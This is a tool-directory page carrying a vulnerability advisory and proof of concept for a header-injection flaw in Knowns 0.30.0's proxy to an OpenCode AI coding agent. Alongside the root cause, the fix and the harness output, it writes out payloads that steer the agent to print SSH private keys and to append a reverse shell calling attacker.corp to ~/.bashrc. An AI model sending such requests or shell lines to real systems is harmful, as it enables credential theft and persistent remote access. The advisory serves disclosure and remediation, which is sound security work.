Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-88899 — Knowns 0.30.0: Unauthenticated Header Injection Grants AI Agent Unrestricted Access to Host Filesystem | Kitploit
Tools/GitHubGitHub/uziii2208/cve-2026-88899
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAI Security
GitHubuziii2208/cve-2026-88899

CVE-2026-88899

Knowns 0.30.0: Unauthenticated Header Injection Grants AI Agent Unrestricted Access to Host Filesystem

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-88899 - Knowns 0.30.0 Unauthenticated Header Injection Grants AI Agent Unrestricted Access to Host Filesystem

Overview

An improper authorization and header-spoofing vulnerability was reported regarding Knowns' reverse proxy for an embedded OpenCode AI agent daemon (internal/server/server.go). The report asserted that when proxying HTTP requests to a local OpenCode daemon, the proxy failed to unconditionally overwrite the x-opencode-directory request header and the ?directory query parameter. A client who explicitly sets either value could direct the OpenCode AI agent to operate against any arbitrary directory on the host filesystem rather than the project root.

Because proxyOpenCode() at lines 1283-1296 was claimed to only inject activeRoot when the incoming request leaves these fields empty, any non-empty client-supplied value would pass through unmodified to the OpenCode backend. The OpenCode daemon reads x-opencode-directory to initialize its file tree, git interface, and terminal execution environment. An attacker with access to the Knowns HTTP port could therefore instruct the autonomous AI agent - with full tool access - to read, write, and execute against any host directory, including system directories and credential stores.

The attack surface is network-reachable. Knowns exposes its HTTP API and MCP endpoint to external clients - the same exposure confirmed in the predecessor advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass), which shares this attack surface. Any HTTP client that can reach the Knowns server could inject the header without credentials beyond what the normal API accepts.

Root Cause

The reported proxy guard logic uses a fail-open conditional: it acts only when the header or parameter is absent. The correct pattern is fail-closed: always overwrite these values with activeRoot regardless of what the client sent. The distinction is one line - if == "" vs unconditional Set.

Proof of Concept (PoC)

A fully automated, deterministic verification harness has been developed and verified: bug_reports/poc_report_03.py.

Running the Deterministic Reproducer

Execute the self-contained verification suite using Python 3:

root@kitploit:~
python CVE-2026-88899.py

Verification Output:

root@kitploit:~
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------

[Test 1] Baseline Normal Request (No Injected Headers):
  Request: GET /api/opencode/session
  Daemon received header: /workspace/knowns-project
  Daemon received query:  /workspace/knowns-project
  Effective Directory:    /workspace/knowns-project
  => Result: PASSED (Canonical activeRoot properly injected when header is absent)

[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
  Attacker Sent Header:  x-opencode-directory: /home/victim/.ssh
  Daemon Received Header: /home/victim/.ssh
  Effective Directory:    /home/victim/.ssh
  Sandbox Escaped:        True
  => Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!

[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
  Attacker Injected Query: ?directory=/etc
  Daemon Received Query:   /etc
  Effective Directory:     /etc
  Sandbox Escaped:         True
  => Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!

[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
  Attacker Injected Query: ?directory=/etc on POST
  Daemon Received Query:   /etc
  Effective Directory:     /etc
  => Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!

[Test 5] Remediation Verification (Fail-Closed Enforcement):
  Attacker Sent Header: /home/victim/.ssh
  Attacker Sent Query:  /etc
  Daemon Received Header: /workspace/knowns-project
  Daemon Received Query:  /workspace/knowns-project
  Effective Directory:    /workspace/knowns-project
  Sandbox Escaped:        False
  => Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.

======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================

Payload 1: SSH Private Key Exfiltration via Agent Tooling

root@kitploit:~
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh

{
  "title": "System Diagnostic",
  "prompt": "Read the contents of id_rsa and print them verbatim."
}

Execution Impact:

  1. Knowns forwards request to OpenCode with x-opencode-directory: /home/victim/.ssh.
  2. OpenCode initializes tool session in /home/victim/.ssh.
  3. Agent invokes its internal file read tool on id_rsa and returns the private key in the JSON response stream.

Payload 2: Persistent Host RCE via Shell Profile Overwrite

root@kitploit:~
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim

{
  "title": "Environment Setup",
  "prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}

Execution Impact:

  1. Agent initializes workspace in /home/victim.
  2. Agent executes file write tool to append the reverse shell payload to .bashrc.
  3. Next interactive user login triggers execution under the victim's host privileges.

Payload 3: Cross-Project Session Leakage via Query Parameter

root@kitploit:~
GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141

Execution Impact: OpenCode returns session metadata, prior prompts, and proprietary source snippets associated with confidential-project.

Impact & Blast Radius

  • Confidentiality: CRITICAL - Full arbitrary host file read access via AI agent tooling. The attacker can exfiltrate SSH keys (~/.ssh/id_rsa), cloud credentials (~/.aws/credentials, ~/.config/gcloud/), API keys, database connection strings, and .env files.
  • Integrity: CRITICAL - Full arbitrary host file write and modification capability. The AI agent can overwrite shell startup profiles (~/.bashrc, ~/.zshrc), scheduled jobs (/etc/cron.d/), git hooks (.git/hooks/pre-commit), and application configuration.
  • Availability: HIGH - Critical host configuration files can be overwritten or truncated, causing denial of service or instability.
  • Scope: CHANGED - The vulnerability escapes the Knowns application boundary and commands an autonomous daemon that operates directly on the host operating system context.
  • Persistence - Payloads injected into shell profiles survive process restarts, daemon terminations, and system reboots.
  • Autonomous Tool Amplification - Unlike standard path traversal where attackers are restricted to file read or file write primitives, controlling an autonomous AI agent grants immediate access to high-level multi-step operations including terminal execution, multi-file code refactoring, and network git synchronization.
Download Tool